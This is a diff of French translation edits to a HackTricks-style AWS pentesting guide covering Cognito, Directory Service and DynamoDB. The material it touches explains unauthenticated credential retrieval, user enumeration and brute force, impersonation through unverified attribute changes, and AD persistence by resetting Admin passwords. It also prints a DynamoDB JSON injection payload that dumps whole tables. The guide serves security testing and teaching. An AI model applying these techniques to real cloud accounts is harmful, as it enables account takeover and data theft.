+++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md
@@ -73,11 +73,11 @@ aws cognito-idp describe-risk-configuration --user-pool-id 
 ```
 ### Identity Pools - Énumération non authentifiée
 
-Juste **en connaissant l'ID du pool d'identité**, vous pourriez être en mesure de **récupérer les identifiants du rôle associé aux utilisateurs non authentifiés** (le cas échéant). [**Vérifiez comment ici**](cognito-identity-pools.md#accessing-iam-roles).
+Juste **en connaissant l'ID du pool d'identité**, vous pourriez être en mesure **d'obtenir les identifiants du rôle associé aux utilisateurs non authentifiés** (le cas échéant). [**Vérifiez comment ici**](cognito-identity-pools.md#accessing-iam-roles).
 
 ### User Pools - Énumération non authentifiée
 
-Même si vous **ne connaissez pas un nom d'utilisateur valide** dans Cognito, vous pourriez être en mesure d'**énumérer** des **noms d'utilisateur** valides, **BF** les **mots de passe** ou même **enregistrer un nouvel utilisateur** juste **en connaissant l'ID du client de l'application** (qui se trouve généralement dans le code source). [**Vérifiez comment ici**](cognito-user-pools.md#registration)**.**
+Même si vous **ne connaissez pas un nom d'utilisateur valide** dans Cognito, vous pourriez être en mesure de **énumérer** des **noms d'utilisateur** valides, **BF** les **mots de passe** ou même **d'enregistrer un nouvel utilisateur** juste **en connaissant l'ID du client de l'application** (qui se trouve généralement dans le code source). [**Vérifiez comment ici**](cognito-user-pools.md#registration)**.**
 
 ## Privesc
 
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md
index 3859c0f94..7c5e1c27f 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md
@@ -2,7 +2,7 @@
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
-## Basic Information
+## Informations de base
 
 Les pools d'identité jouent un rôle crucial en permettant à vos utilisateurs d'**acquérir des identifiants temporaires**. Ces identifiants sont essentiels pour accéder à divers services AWS, y compris, mais sans s'y limiter, Amazon S3 et DynamoDB. Une caractéristique notable des pools d'identité est leur support pour les utilisateurs invités anonymes et une gamme de fournisseurs d'identité pour l'authentification des utilisateurs. Les fournisseurs d'identité pris en charge incluent :
 
@@ -116,9 +116,9 @@ aws cognito-identity get-credentials-for-identity --identity-id  --
 
 ### Flux d'authentification amélioré vs basique
 
-La section précédente a suivi le **flux d'authentification amélioré par défaut**. Ce flux définit une **politique de session** [**restrictive**](../../aws-basic-information/#session-policies) pour la session de rôle IAM générée. Cette politique ne permettra à la session que [**d'utiliser les services de cette liste**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services) (même si le rôle avait accès à d'autres services).
+La section précédente a suivi le **flux d'authentification amélioré par défaut**. Ce flux définit une **politique de session restrictive** [**session policy**](../../aws-basic-information/#session-policies) pour la session de rôle IAM générée. Cette politique ne permettra à la session que [**d'utiliser les services de cette liste**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services) (même si le rôle avait accès à d'autres services).
 
-Cependant, il existe un moyen de contourner cela, si le **pool d'identité a "Flux basique (classique)" activé**, l'utilisateur pourra obtenir une session en utilisant ce flux qui **n'aura pas cette politique de session restrictive**.
+Cependant, il existe un moyen de contourner cela, si le **pool d'identité a "Basic (Classic) Flow" activé**, l'utilisateur pourra obtenir une session en utilisant ce flux qui **n'aura pas cette politique de session restrictive**.
 ```bash
 # Get auth ID
 aws cognito-identity get-id --identity-pool-id  --no-sign
@@ -140,7 +140,7 @@ Ayant un ensemble de credentials IAM, vous devriez vérifier [quels accès vous
 ### Authentifié
 
 > [!NOTE]
-> N'oubliez pas que les **utilisateurs authentifiés** se verront probablement accorder **des permissions différentes**, donc si vous pouvez **vous inscrire dans l'application**, essayez de le faire et obtenez les nouveaux credentials.
+> N'oubliez pas que les **utilisateurs authentifiés** se verront probablement accorder **différentes permissions**, donc si vous pouvez **vous inscrire dans l'application**, essayez de le faire et obtenez les nouveaux credentials.
 
 Il pourrait également y avoir des **rôles** disponibles pour les **utilisateurs authentifiés accédant au Identity Pool**.
 
@@ -170,6 +170,6 @@ aws cognito-identity get-credentials-for-identity \
> [!WARNING] -> Il est possible de **configurer différents rôles IAM en fonction du fournisseur d'identité** par lequel l'utilisateur est connecté ou même simplement en fonction **de l'utilisateur** (en utilisant des claims). Par conséquent, si vous avez accès à différents utilisateurs via le même ou différents fournisseurs, cela pourrait être **intéressant de se connecter et d'accéder aux rôles IAM de tous**. +> Il est possible de **configurer différents rôles IAM en fonction du fournisseur d'identité** par lequel l'utilisateur est connecté ou même simplement en fonction **de l'utilisateur** (en utilisant des claims). Par conséquent, si vous avez accès à différents utilisateurs via le même ou différents fournisseurs, cela pourrait **valoir la peine de se connecter et d'accéder aux rôles IAM de tous**. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md index f2b32f480..9d8fc10d5 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md @@ -20,13 +20,13 @@ Le **code source** des applications contiendra généralement également l'**ID ### Attaques potentielles - **Inscription** : Par défaut, un utilisateur peut s'inscrire lui-même, il pourrait donc créer un utilisateur pour lui-même. -- **Énumération des utilisateurs** : La fonctionnalité d'inscription peut être utilisée pour trouver des noms d'utilisateur qui existent déjà. Cette information peut être utile pour l'attaque par force brute. -- **Force brute de connexion** : Dans la section [**Authentification**](cognito-user-pools.md#authentication), vous avez tous les **méthodes** qu'un utilisateur doit utiliser pour **se connecter**, vous pourriez essayer de les forcer à **trouver des identifiants valides**. +- **Énumération des utilisateurs** : La fonctionnalité d'inscription peut être utilisée pour trouver des noms d'utilisateur qui existent déjà. Cette information peut être utile pour une attaque par force brute. +- **Force brute de connexion** : Dans la section [**Authentification**](cognito-user-pools.md#authentication), vous avez tous les **méthodes** qu'un utilisateur a pour **se connecter**, vous pourriez essayer de les forcer à **trouver des identifiants valides**. ### Outils pour le pentesting - [Pacu](https://github.com/RhinoSecurityLabs/pacu), inclut maintenant les modules `cognito__enum` et `cognito__attack` qui automatisent l'énumération de tous les actifs Cognito dans un compte et signalent les configurations faibles, les attributs des utilisateurs utilisés pour le contrôle d'accès, etc., et automatisent également la création d'utilisateurs (y compris le support MFA) et l'escalade de privilèges basée sur des attributs personnalisables modifiables, des identifiants de pool d'identité utilisables, des rôles assumables dans les jetons d'identité, etc.\ -Pour une description des fonctions des modules, voir la partie 2 du [post de blog](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Pour des instructions d'installation, voir la page principale de [Pacu](https://github.com/RhinoSecurityLabs/pacu). +Pour une description des fonctions des modules, voir la partie 2 du [blog](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Pour des instructions d'installation, voir la page principale de [Pacu](https://github.com/RhinoSecurityLabs/pacu). ```bash # Run cognito__enum usage to gather all user pools, user pool clients, identity pools, users, etc. visible in the current AWS account Pacu (new:test) > run cognito__enum @@ -79,20 +79,20 @@ An error occurred (ResourceNotFoundException) when calling the SignUp operation: ``` #### Si seul l'administrateur peut enregistrer des utilisateurs -Vous rencontrerez cette erreur et vous ne pourrez pas enregistrer ou énumérer des utilisateurs : +Vous trouverez cette erreur et vous ne pourrez pas enregistrer ou énumérer des utilisateurs : ``` An error occurred (NotAuthorizedException) when calling the SignUp operation: SignUp is not permitted for this user pool ``` ### Vérification de l'inscription -Cognito permet de **vérifier un nouvel utilisateur en vérifiant son email ou son numéro de téléphone**. Par conséquent, lors de la création d'un utilisateur, il vous sera généralement demandé au moins le nom d'utilisateur et le mot de passe ainsi que l'**email et/ou le numéro de téléphone**. Il suffit de définir un **que vous contrôlez** afin de recevoir le code pour **vérifier votre** compte **d'utilisateur** nouvellement créé comme ceci : +Cognito permet de **vérifier un nouvel utilisateur en vérifiant son email ou son numéro de téléphone**. Par conséquent, lors de la création d'un utilisateur, vous devrez généralement fournir au moins le nom d'utilisateur et le mot de passe ainsi que l'**email et/ou le numéro de téléphone**. Il suffit de définir un **que vous contrôlez** afin de recevoir le code pour **vérifier votre** compte **d'utilisateur** nouvellement créé **comme ceci :** ```bash aws cognito-idp confirm-sign-up --client-id \ --username aasdasd2 --confirmation-code \ --no-sign-request --region us-east-1 ``` > [!WARNING] -> Même si **il semble que vous pouvez utiliser le même email** et numéro de téléphone, lorsque vous devez vérifier l'utilisateur créé, Cognito se plaindra d'utiliser les mêmes informations et **ne vous permettra pas de vérifier le compte**. +> Même si **il semble que vous pouvez utiliser le même email** et le même numéro de téléphone, lorsque vous devez vérifier l'utilisateur créé, Cognito se plaindra d'utiliser les mêmes informations et **ne vous permettra pas de vérifier le compte**. ### Escalade de privilèges / Mise à jour des attributs @@ -114,7 +114,7 @@ Vous pouvez utiliser cela pour **modifier l'email et le numéro de téléphone** > [!WARNING] > Vous **ne pourrez pas vous connecter avec l'email ou le numéro de téléphone** tant que vous ne les avez pas vérifiés, mais vous pourrez **vous connecter avec le nom d'utilisateur**.\ -> Notez que même si l'email a été modifié et non vérifié, il apparaîtra dans le jeton d'identité à l'intérieur du **champ** **`email`** et le champ **`email_verified`** sera **faux**, mais si l'application **ne vérifie pas cela, vous pourriez usurper l'identité d'autres utilisateurs**. +> Notez que même si l'email a été modifié et non vérifié, il apparaîtra dans le jeton ID à l'intérieur du **champ** **`email`** et le champ **`email_verified`** sera **faux**, mais si l'application **ne vérifie pas cela, vous pourriez usurper l'identité d'autres utilisateurs**. > De plus, notez que vous pouvez mettre n'importe quoi dans le champ **`name`** en modifiant simplement l'**attribut name**. Si une application **vérifie** ce champ pour une raison quelconque **au lieu de l'`email`** (ou tout autre attribut), vous pourriez être en mesure d'**usurper l'identité d'autres utilisateurs**. @@ -128,7 +128,7 @@ aws cognito-idp verify-user-attribute \ Utilisez **`phone_number`** au lieu de **`email`** pour changer/vérifier un **nouveau numéro de téléphone**. > [!NOTE] -> L'administrateur pourrait également activer l'option de **connexion avec un nom d'utilisateur préféré par l'utilisateur**. Notez que vous ne pourrez pas changer cette valeur pour **un nom d'utilisateur ou un preferred_username déjà utilisé** pour usurper un autre utilisateur. +> L'administrateur pourrait également activer l'option de **connexion avec un nom d'utilisateur préféré par l'utilisateur**. Notez que vous ne pourrez pas changer cette valeur pour **un nom d'utilisateur ou un preferred_username déjà utilisé** pour usurper l'identité d'un autre utilisateur. ### Récupérer/Changer le mot de passe @@ -159,19 +159,19 @@ aws cognito-idp change-password \ ## Authentification Un pool d'utilisateurs prend en charge **différentes manières de s'authentifier**. Si vous avez un **nom d'utilisateur et un mot de passe**, il existe également **différentes méthodes** prises en charge pour se connecter.\ -De plus, lorsqu'un utilisateur est authentifié dans le Pool, **3 types de jetons sont donnés** : Le **jeton ID**, le **jeton d'accès** et le **jeton de rafraîchissement**. +De plus, lorsqu'un utilisateur est authentifié dans le Pool, **3 types de jetons sont fournis** : le **jeton ID**, le **jeton d'accès** et le **jeton d'actualisation**. - [**Jeton ID**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-id-token.html) : Il contient des revendications sur **l'identité de l'utilisateur authentifié**, telles que `name`, `email` et `phone_number`. Le jeton ID peut également être utilisé pour **authentifier les utilisateurs auprès de vos serveurs de ressources ou applications serveur**. Vous devez **vérifier** la **signature** du jeton ID avant de pouvoir faire confiance à des revendications à l'intérieur du jeton ID si vous l'utilisez dans des applications externes. - Le jeton ID est le jeton qui **contient les valeurs des attributs de l'utilisateur**, même les personnalisés. - [**Jeton d'accès**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-access-token.html) : Il contient des revendications sur l'utilisateur authentifié, une liste des **groupes de l'utilisateur** et une liste de portées. Le but du jeton d'accès est de **autoriser les opérations API** dans le contexte de l'utilisateur dans le pool d'utilisateurs. Par exemple, vous pouvez utiliser le jeton d'accès pour **accorder à votre utilisateur l'accès** pour ajouter, modifier ou supprimer des attributs d'utilisateur. -- [**Jeton de rafraîchissement**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-refresh-token.html) : Avec les jetons de rafraîchissement, vous pouvez **obtenir de nouveaux jetons ID et jetons d'accès** pour l'utilisateur jusqu'à ce que le **jeton de rafraîchissement soit invalide**. Par **défaut**, le jeton de rafraîchissement **expire 30 jours après** que l'utilisateur de votre application se connecte à votre pool d'utilisateurs. Lorsque vous créez une application pour votre pool d'utilisateurs, vous pouvez définir l'expiration du jeton de rafraîchissement de l'application à **n'importe quelle valeur entre 60 minutes et 10 ans**. +- [**Jeton d'actualisation**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-refresh-token.html) : Avec les jetons d'actualisation, vous pouvez **obtenir de nouveaux jetons ID et jetons d'accès** pour l'utilisateur jusqu'à ce que le **jeton d'actualisation soit invalide**. Par **défaut**, le jeton d'actualisation **expire 30 jours après** que l'utilisateur de votre application se soit connecté à votre pool d'utilisateurs. Lorsque vous créez une application pour votre pool d'utilisateurs, vous pouvez définir l'expiration du jeton d'actualisation de l'application à **n'importe quelle valeur entre 60 minutes et 10 ans**. ### ADMIN_NO_SRP_AUTH & ADMIN_USER_PASSWORD_AUTH Voici le flux d'authentification côté serveur : -- L'application côté serveur appelle l'**opération API `AdminInitiateAuth`** (au lieu de `InitiateAuth`). Cette opération nécessite des identifiants AWS avec des autorisations qui incluent **`cognito-idp:AdminInitiateAuth`** et **`cognito-idp:AdminRespondToAuthChallenge`**. L'opération renvoie les paramètres d'authentification requis. -- Après que l'application côté serveur a les **paramètres d'authentification**, elle appelle l'**opération API `AdminRespondToAuthChallenge`**. L'opération API `AdminRespondToAuthChallenge` ne réussit que si vous fournissez des identifiants AWS. +- L'application côté serveur appelle l'opération API **`AdminInitiateAuth`** (au lieu de `InitiateAuth`). Cette opération nécessite des identifiants AWS avec des autorisations incluant **`cognito-idp:AdminInitiateAuth`** et **`cognito-idp:AdminRespondToAuthChallenge`**. L'opération renvoie les paramètres d'authentification requis. +- Après que l'application côté serveur a les **paramètres d'authentification**, elle appelle l'opération API **`AdminRespondToAuthChallenge`**. L'opération API `AdminRespondToAuthChallenge` ne réussit que si vous fournissez des identifiants AWS. Cette **méthode n'est PAS activée** par défaut. @@ -184,8 +184,8 @@ Pour **se connecter**, vous **devez** connaître : - le secret du client (uniquement si l'application est configurée pour utiliser un secret) > [!NOTE] -> Afin de **pouvoir se connecter avec cette méthode**, cette application doit permettre de se connecter avec `ALLOW_ADMIN_USER_PASSWORD_AUTH`.\ -> De plus, pour effectuer cette action, vous avez besoin d'identifiants avec les autorisations **`cognito-idp:AdminInitiateAuth`** et **`cognito-idp:AdminRespondToAuthChallenge`**. +> Afin de **pouvoir se connecter avec cette méthode**, cette application doit autoriser la connexion avec `ALLOW_ADMIN_USER_PASSWORD_AUTH`.\ +> De plus, pour effectuer cette action, vous avez besoin d'identifiants avec les autorisations **`cognito-idp:AdminInitiateAuth`** et **`cognito-idp:AdminRespondToAuthChallenge`** ```python aws cognito-idp admin-initiate-auth \ --client-id \ @@ -198,7 +198,7 @@ aws cognito-idp admin-initiate-auth \ ```
-Code de connexion +Code pour se connecter ```python import boto3 import botocore @@ -243,17 +243,17 @@ print(login_user(username, password, client_id, client_secret, user_pool_id)) ### USER_PASSWORD_AUTH -Cette méthode est un autre flux d'**authentification simple et traditionnelle par utilisateur et mot de passe**. Il est recommandé de **migrer une méthode d'authentification traditionnelle** **vers Cognito** et **recommandé** de **la désactiver** puis **d'utiliser** la méthode **ALLOW_USER_SRP_AUTH** à la place (car celle-ci n'envoie jamais le mot de passe sur le réseau).\ +Cette méthode est un autre flux simple et **traditionnel d'authentification utilisateur et mot de passe**. Il est recommandé de **migrer une méthode d'authentification traditionnelle** vers **Cognito** et **recommandé** de **la désactiver** ensuite et **d'utiliser** la méthode **ALLOW_USER_SRP_AUTH** à la place (car celle-ci n'envoie jamais le mot de passe sur le réseau).\ Cette **méthode n'est PAS activée** par défaut. La principale **différence** avec la **méthode d'authentification précédente** dans le code est que vous **n'avez pas besoin de connaître l'ID du pool d'utilisateurs** et que vous **n'avez pas besoin de permissions supplémentaires** dans le pool d'utilisateurs Cognito. -Pour **vous connecter**, vous **devez** connaître : +Pour **se connecter**, vous **devez** connaître : -- l'ID client -- le nom d'utilisateur -- le mot de passe -- le secret client (uniquement si l'application est configurée pour utiliser un secret) +- client id +- nom d'utilisateur +- mot de passe +- secret client (uniquement si l'application est configurée pour utiliser un secret) > [!NOTE] > Afin de **pouvoir se connecter avec cette méthode**, cette application doit permettre de se connecter avec ALLOW_USER_PASSWORD_AUTH. @@ -310,7 +310,7 @@ print(login_user(username, password, client_id, client_secret, user_pool_id)) ### USER_SRP_AUTH -Ce scénario est similaire au précédent mais **au lieu d'envoyer le mot de passe** à travers le réseau pour se connecter, une **authentification par défi est effectuée** (donc aucun mot de passe ne circule même crypté à travers le net).\ +Ce scénario est similaire au précédent mais **au lieu d'envoyer le mot de passe** à travers le réseau pour se connecter, une **authentification par défi est effectuée** (donc pas de mot de passe naviguant même crypté à travers le net).\ Cette **méthode est activée** par défaut. Pour **se connecter**, vous **devez** connaître : @@ -397,14 +397,14 @@ Dans ce cas, l'**authentification** va être effectuée par l'**exécution d'une Par défaut, c'est désactivé, mais si activé, Cognito pourrait être capable de **détecter les prises de contrôle de compte**. Pour minimiser la probabilité, vous devriez vous connecter depuis un **réseau à l'intérieur de la même ville, en utilisant le même agent utilisateur** (et l'IP si c'est possible)**.** -### **MFA Rappeler l'appareil** +### **MFA Se souvenir de l'appareil** Si l'utilisateur se connecte depuis le même appareil, la MFA pourrait être contournée, essayez donc de vous connecter depuis le même navigateur avec les mêmes métadonnées (IP ?) pour essayer de contourner la protection MFA. ## Rôles IAM des groupes de User Pool Il est possible d'ajouter des **utilisateurs aux groupes de User Pool** qui sont liés à un **rôle IAM**.\ -De plus, les **utilisateurs** peuvent être assignés à **plus d'un groupe avec différents rôles IAM** attachés. +De plus, des **utilisateurs** peuvent être assignés à **plus d'un groupe avec différents rôles IAM** attachés. Notez que même si un groupe est à l'intérieur d'un groupe avec un rôle IAM attaché, pour pouvoir accéder aux identifiants IAM de ce groupe, il est nécessaire que le **User Pool soit approuvé par un Identity Pool** (et connaître les détails de cet Identity Pool). @@ -412,8 +412,8 @@ Un autre requis pour obtenir le **rôle IAM indiqué dans l'IdToken** lorsqu'un
-Les **rôles** auxquels un utilisateur a accès sont **dans le `IdToken`**, et un utilisateur peut **sélectionner quel rôle il aimerait avoir des identifiants** avec le **`--custom-role-arn`** de `aws cognito-identity get-credentials-for-identity`.\ -Cependant, si l'**option par défaut** est celle **configurée** (`utiliser le rôle par défaut`), et que vous essayez d'accéder à un rôle à partir de l'IdToken, vous obtiendrez une **erreur** (c'est pourquoi la configuration précédente est nécessaire) : +Les **rôles** auxquels un utilisateur a accès sont **dans le `IdToken`**, et un utilisateur peut **sélectionner quel rôle il aimerait obtenir des identifiants** avec le **`--custom-role-arn`** de `aws cognito-identity get-credentials-for-identity`.\ +Cependant, si l'**option par défaut** est celle **configurée** (`use default role`), et que vous essayez d'accéder à un rôle à partir de l'IdToken, vous obtiendrez une **erreur** (c'est pourquoi la configuration précédente est nécessaire) : ``` An error occurred (InvalidParameterException) when calling the GetCredentialsForIdentity operation: Only SAML providers and providers with RoleMappings support custom role ARN. ``` diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md index 34fa781c0..d5a3886cc 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md @@ -4,7 +4,7 @@ ## Services de Répertoire -AWS Directory Service for Microsoft Active Directory est un service géré qui facilite la **configuration, l'exploitation et la mise à l'échelle d'un annuaire** dans le Cloud AWS. Il est construit sur un véritable **Microsoft Active Directory** et s'intègre étroitement avec d'autres services AWS, facilitant la gestion de vos charges de travail et ressources AWS conscientes de l'annuaire. Avec AWS Managed Microsoft AD, vous pouvez **utiliser vos utilisateurs, groupes et politiques** Active Directory existants pour gérer l'accès à vos ressources AWS. Cela peut aider à simplifier votre gestion des identités et réduire le besoin de solutions d'identité supplémentaires. AWS Managed Microsoft AD fournit également des sauvegardes automatiques et des capacités de récupération après sinistre, aidant à garantir la disponibilité et la durabilité de votre annuaire. Dans l'ensemble, AWS Directory Service for Microsoft Active Directory peut vous aider à gagner du temps et des ressources en fournissant un service Active Directory géré, hautement disponible et évolutif dans le Cloud AWS. +AWS Directory Service for Microsoft Active Directory est un service géré qui facilite la **configuration, l'exploitation et la mise à l'échelle d'un annuaire** dans le Cloud AWS. Il est construit sur un véritable **Microsoft Active Directory** et s'intègre étroitement avec d'autres services AWS, facilitant la gestion de vos charges de travail et ressources AWS conscientes de l'annuaire. Avec AWS Managed Microsoft AD, vous pouvez **utiliser vos utilisateurs, groupes et politiques** Active Directory existants pour gérer l'accès à vos ressources AWS. Cela peut aider à simplifier votre gestion des identités et réduire le besoin de solutions d'identité supplémentaires. AWS Managed Microsoft AD fournit également des sauvegardes automatiques et des capacités de récupération après sinistre, aidant à garantir la disponibilité et la durabilité de votre annuaire. Dans l'ensemble, AWS Directory Service for Microsoft Active Directory peut vous faire gagner du temps et des ressources en fournissant un service Active Directory géré, hautement disponible et évolutif dans le Cloud AWS. ### Options @@ -35,7 +35,7 @@ aws ds get-directory-limits aws ds list-certificates --directory-id aws ds describe-certificate --directory-id --certificate-id ``` -### Login +### Connexion Notez que si la **description** du répertoire contenait un **domaine** dans le champ **`AccessUrl`**, c'est parce qu'un **utilisateur** peut probablement **se connecter** avec ses **identifiants AD** dans certains **services AWS :** @@ -45,39 +45,39 @@ Notez que si la **description** du répertoire contenait un **domaine** dans le - `.awsapps.com/console` (Amazon Management Console) - `.awsapps.com/start` (IAM Identity Center) -### Privilege Escalation +### Escalade de privilèges {{#ref}} ../aws-privilege-escalation/aws-directory-services-privesc.md {{#endref}} -## Persistence +## Persistance -### Using an AD user +### Utilisation d'un utilisateur AD Un **utilisateur AD** peut se voir accorder **l'accès à la console de gestion AWS** via un rôle à assumer. Le **nom d'utilisateur par défaut est Admin** et il est possible de **changer son mot de passe** depuis la console AWS. Par conséquent, il est possible de **changer le mot de passe d'Admin**, **de créer un nouvel utilisateur** ou **de changer le mot de passe** d'un utilisateur et d'accorder à cet utilisateur un rôle pour maintenir l'accès.\ Il est également possible **d'ajouter un utilisateur à un groupe dans AD** et **de donner à ce groupe AD accès à un rôle** (pour rendre cette persistance plus discrète). -### Sharing AD (from victim to attacker) +### Partage d'AD (de la victime à l'attaquant) Il est possible de partager un environnement AD d'une victime à un attaquant. De cette manière, l'attaquant pourra continuer à accéder à l'environnement AD.\ Cependant, cela implique de partager l'AD géré et également de créer une connexion de peering VPC. Vous pouvez trouver un guide ici : [https://docs.aws.amazon.com/directoryservice/latest/admin-guide/step1_setup_networking.html](https://docs.aws.amazon.com/directoryservice/latest/admin-guide/step1_setup_networking.html) -### ~~Sharing AD (from attacker to victim)~~ +### ~~Partage d'AD (de l'attaquant à la victime)~~ Il ne semble pas possible d'accorder l'accès AWS à des utilisateurs d'un environnement AD différent à un compte AWS. ## WorkDocs -Amazon Web Services (AWS) WorkDocs est un **service de stockage et de partage de fichiers** basé sur le cloud. Il fait partie de la suite de services de cloud computing AWS et est conçu pour fournir une solution sécurisée et évolutive pour les organisations afin de stocker, partager et collaborer sur des fichiers et des documents. +Amazon Web Services (AWS) WorkDocs est un service de **stockage et de partage de fichiers** basé sur le cloud. Il fait partie de la suite de services de cloud computing AWS et est conçu pour fournir une solution sécurisée et évolutive pour les organisations afin de stocker, partager et collaborer sur des fichiers et des documents. AWS WorkDocs fournit une interface web pour que les utilisateurs puissent télécharger, accéder et gérer leurs fichiers et documents. Il offre également des fonctionnalités telles que le contrôle de version, la collaboration en temps réel et l'intégration avec d'autres services AWS et des outils tiers. -### Enumeration +### Énumération ```bash # Get AD users (Admin not included) aws workdocs describe-users --organization-id diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md index f6726e393..7fffbb0df 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md @@ -4,7 +4,7 @@ ## DocumentDB -Amazon DocumentDB, offrant une compatibilité avec MongoDB, est présenté comme un **service de base de données rapide, fiable et entièrement géré**. Conçu pour la simplicité de déploiement, d'exploitation et d'évolutivité, il permet la **migration et l'exploitation sans faille de bases de données compatibles MongoDB dans le cloud**. Les utilisateurs peuvent tirer parti de ce service pour exécuter leur code d'application existant et utiliser des pilotes et outils familiers, garantissant une transition et une opération fluides semblables à celles de MongoDB. +Amazon DocumentDB, offrant une compatibilité avec MongoDB, est présenté comme un **service de base de données rapide, fiable et entièrement géré**. Conçu pour la simplicité de déploiement, d'exploitation et d'évolutivité, il permet la **migration et l'exploitation sans faille de bases de données compatibles MongoDB dans le cloud**. Les utilisateurs peuvent tirer parti de ce service pour exécuter leur code d'application existant et utiliser des pilotes et outils familiers, garantissant une transition et une opération fluides similaires à celles de MongoDB. ### Enumeration ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md index b096de511..b96ede473 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md @@ -6,7 +6,7 @@ ### Informations de base -Amazon DynamoDB est présenté par AWS comme une **base de données NoSQL clé-valeur entièrement gérée et sans serveur**, conçue pour alimenter des applications haute performance, quelle que soit leur taille. Le service garantit des fonctionnalités robustes, y compris des mesures de sécurité inhérentes, des sauvegardes ininterrompues, une réplication automatisée à travers plusieurs régions, un cache en mémoire intégré et des utilitaires d'exportation de données pratiques. +Amazon DynamoDB est présenté par AWS comme une **base de données NoSQL clé-valeur, entièrement gérée et sans serveur**, conçue pour alimenter des applications haute performance, quelle que soit leur taille. Le service garantit des fonctionnalités robustes, y compris des mesures de sécurité inhérentes, des sauvegardes ininterrompues, une réplication automatisée à travers plusieurs régions, un cache en mémoire intégré et des utilitaires d'exportation de données pratiques. Dans le contexte de DynamoDB, au lieu d'établir une base de données traditionnelle, **des tables sont créées**. Chaque table nécessite la spécification d'une **clé de partition** comme composant intégral de la **clé primaire de la table**. Cette clé de partition, essentiellement une **valeur de hachage**, joue un rôle critique tant dans la récupération des éléments que dans la distribution des données à travers divers hôtes. Cette distribution est essentielle pour maintenir à la fois la scalabilité et la disponibilité de la base de données. De plus, il est possible d'incorporer une **clé de tri** pour affiner davantage l'organisation des données. @@ -18,7 +18,7 @@ Par défaut, DynamoDB utilise une clé KMS qui **appartient à Amazon DynamoDB,* ### Sauvegardes et exportation vers S3 -Il est possible de **programmer** la génération de **sauvegardes de table** ou de les créer à la **demande**. De plus, il est également possible d'activer **la récupération à un instant donné (PITR) pour une table.** La récupération à un instant donné fournit des **sauvegardes** continues de vos données DynamoDB pendant **35 jours** pour vous aider à vous protéger contre des opérations d'écriture ou de suppression accidentelles. +Il est possible de **programmer** la génération de **sauvegardes de table** ou de les créer à la **demande**. De plus, il est également possible d'activer la **récupération à un instant donné (PITR) pour une table.** La récupération à un instant donné fournit des **sauvegardes** continues de vos données DynamoDB pendant **35 jours** pour vous aider à vous protéger contre des opérations d'écriture ou de suppression accidentelles. Il est également possible d'exporter **les données d'une table vers S3**, mais la table doit avoir **PITR activé**. @@ -111,7 +111,7 @@ https://book.hacktricks.xyz/pentesting-web/nosql-injection ### Injection Json brute > [!CAUTION] -> **Cette vulnérabilité est basée sur le filtre de scan de dynamodb qui est maintenant obsolète !** +> **Cette vulnérabilité est basée sur le filtre de scan dynamodb qui est maintenant obsolète !** **DynamoDB** accepte des objets **Json** pour **rechercher** des données dans la base de données. Si vous constatez que vous pouvez écrire dans l'objet json envoyé pour la recherche, vous pourriez faire un dump de la base de données, tout le contenu. @@ -123,9 +123,9 @@ un attaquant pourrait injecter quelque chose comme : `1000"}],"ComparisonOperator": "GT","AttributeValueList": [{"N": "0` -corriger la condition "EQ" en recherchant l'ID 1000 et ensuite en cherchant toutes les données avec une chaîne Id supérieure à 0, ce qui est tout. +corriger la condition "EQ" en recherchant l'ID 1000 et ensuite en cherchant toutes les données avec une chaîne d'Id supérieure à 0, ce qui est tout. -Un **exemple vulnérable utilisant une connexion** pourrait être : +Un autre **exemple vulnérable utilisant une connexion** pourrait être : ```python scan_filter = """{ "username": { @@ -152,7 +152,7 @@ Certain SDKs permettent d'utiliser une chaîne indiquant le filtrage à effectue ```java new ScanSpec().withProjectionExpression("UserName").withFilterExpression(user_input+" = :username and Password = :password").withValueMap(valueMap) ``` -Vous devez savoir que la recherche dans DynamoDB pour **substituer** une **valeur** d'attribut dans des **expressions de filtre** lors de la numérisation des éléments, les jetons doivent **commencer** par le caractère **`:`**. De tels jetons seront **remplacés** par la véritable **valeur d'attribut à l'exécution**. +Vous devez savoir que la recherche dans DynamoDB pour **substituer** une **valeur** d'attribut dans des **expressions de filtre** lors de la numérisation des éléments, les jetons doivent **commencer** par le caractère **`:`**. Ces jetons seront 